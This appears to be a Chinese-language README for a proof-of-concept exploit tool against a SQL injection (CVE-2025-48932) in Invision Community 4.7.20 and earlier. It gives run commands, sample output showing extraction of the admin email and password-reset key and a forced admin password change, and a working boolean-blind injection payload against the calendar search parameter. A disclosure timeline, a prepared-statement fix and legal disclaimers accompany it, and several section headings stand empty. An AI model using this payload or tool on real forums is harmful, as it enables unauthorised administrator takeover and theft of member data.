一个概念验证漏洞利用程序,用于演示 Invision Community 版本 <= 4.7.20 中的 SQL 注入漏洞。
本工具仅供教育和授权的安全测试使用。
CVE ID: CVE-2025-48932
危害等级: 高危
CVSS 评分: 暂定
受影响版本: 4.7.21 之前的 Invision Community 4.x 版本
该漏洞存在于 /applications/calendar/modules/front/calendar/view.php 脚本中。在 IPS\calendar\modules\front\calendar\view::search() 方法中,通过 location 请求参数传入的用户输入在用于 SQL 查询前未经正确清理。
这允许远程、未认证的攻击者:
漏洞利用前提条件:
注意: 虽然 Invision Community 4.x 版本(< 4.7.18)中的 SQL 注入漏洞可能通过重置管理员密码导致管理员账户接管和远程代码执行(RCE),但 4.7.18 版本在密码重置机制中引入了新的安全加密密钥,使该攻击途径变得更为困难。
克隆仓库:
git clone https://github.com/yourusername/invision-sqli-exploit.git
cd invision-sqli-exploit
安装依赖:
pip install -r requirements.txt
python invision-sqli-exploit.py -u http://target.com/forum/
python invision-sqli-exploit.py -u https://example.com/community/ -v
==================================================
Invision Community <= 4.7.20 SQL Injection Exploit
CVE-2025-48932
==================================================
Target: http://example.com/forum/
==================================================
[*] Fetching CSRF token...
[+] CSRF token found: abc123def456...
[*] Step 1: Extracting admin email address...
[*] Extracting data: [email protected]
[+] Admin email: [email protected]
[!] Step 2: Manual action required!
Please follow these steps:
1. Navigate to: http://example.com/forum/index.php?/lostpassword/
2. Request a password reset using email: [email protected]
3. Press ENTER when done...
[*] Step 3: Extracting password reset validation key...
[*] Extracting data: xyz789abc123...
[+] Reset key: xyz789abc123...
[*] Step 4: Resetting admin password...
==================================================
[+] EXPLOITATION SUCCESSFUL!
==================================================
Admin credentials:
Email: [email protected]
Password: Pwned1721234567
You can now login at: http://example.com/forum/index.php?/login/
该漏洞利用程序通过四个主要步骤执行:
脚本首先从目标网站获取 CSRF 令牌,后续请求需要用到该令牌。
利用二分查找算法,漏洞利用程序逐字符从数据库中提取数据:
RLIKE 函数配合正则表达式检测真/假条件查询 core_members 表以提取管理员的电子邮件地址。
注入点:
location parameter → calendar/view.php → search() method
载荷示例:
'))OR(SELECT 1 RLIKE(IF(ORD(SUBSTR((SELECT email FROM core_members WHERE member_id=1),1,1))<128,0x28,0x31)))#
利用技术: 使用二分查找的高效数据提取方式的基于布尔的盲 SQL 注入。
立即行动:
安全编码实践:
安全代码示例:
// Vulnerable code
$location = $_REQUEST['location'];
$query = "SELECT * FROM events WHERE location = '$location'";
// Secure code
$location = $_REQUEST['location'];
$query = $db->prepare("SELECT * FROM events WHERE location = ?");
$query->execute([$location]);
| 日期 | 事件 |
|---|---|
| 2025年5月16日 | 通知供应商 |
| 2025年5月27日 | 发布 4.7.21 版本 |
| 2025年5月28日 | 申请 CVE 标识符 |
| 2025年5月28日 | 分配 CVE-2025-48932 |
开发者:
注意: 这是基于公开披露的漏洞信息(CVE-2025-48932)的独立实现。
本项目基于 MIT 许可证授权 - 详见 LICENSE 文件。
欢迎贡献!请随时提交 Pull Request。对于重大更改,请先打开 issue 讨论您想要修改的内容。
本工具依据 MIT 许可证分发。使用本软件即表示您同意:
请记住: 在大多数司法管辖区,未经授权访问计算机系统均属犯罪行为,并可能导致严重的法律后果。
如果您发现安全漏洞,请在公开披露前负责任地向供应商报告。
| 参数 | 说明 | 是否必需 |
|---|
-u, --url | 目标 Invision Community 基础 URL | 是 |
-v, --verbose | 启用详细输出以便调试 | 否 |
-h, --help | 显示帮助信息并退出 | 否 |
| 2025年7月23日 |
| 公开披露 |